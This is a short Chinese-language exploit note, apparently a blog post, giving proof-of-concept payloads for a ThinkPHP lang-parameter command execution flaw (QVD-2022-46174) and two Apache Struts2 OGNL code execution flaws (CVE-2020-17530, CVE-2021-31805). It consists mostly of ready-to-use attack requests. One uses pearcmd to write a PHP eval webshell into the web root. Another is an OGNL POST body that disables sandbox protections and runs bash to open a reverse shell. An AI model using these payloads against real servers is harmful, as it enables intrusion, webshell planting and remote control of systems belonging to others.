thinkphp lang命令执行--struts2 代码执行--(QVD-2022-46174)&&(CVE-2020-17530)&&(CVE-2021-31805)

thinkphp lang命令执行–struts2 代码执行–(QVD-2022-46174)&&(CVE-2020-17530)&&(CVE-2021-31805)

thinkphp lang命令执行（QVD-2022-46174）

影响范围

6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x

漏洞复现

POC：

?+config-create+/&lang=…/…/…/…/…/…/…/…/usr/local/lib/php/pearcmd&/<?=@eval($_POST['shell']);?>+/var/www/html/1.php

struts2 代码执行 （CVE-2020-17530）

影响范围

Apache Struts 2.0.0 - 2.5.25

漏洞复现

POC下载s2-062

struts2 代码执行 （CVE-2021-31805）

影响范围

Apache Struts 2.0.0 - 2.5.29

漏洞复现

Post： /s2_062/index.action

name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get(‘struts.valueStack’))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get(‘map’).get(‘context’))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get(‘map2’).get(‘memberAccess’))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get(‘map3’).put(‘excludedPackageNames’,%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get(‘map3’).put(‘excludedClasses’,%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘freemarker.template.utility.Execute’).exec({‘bash -c {echo,反弹shell命令base64编码加url编码}|{base64,-d}|{bash,-i}’}))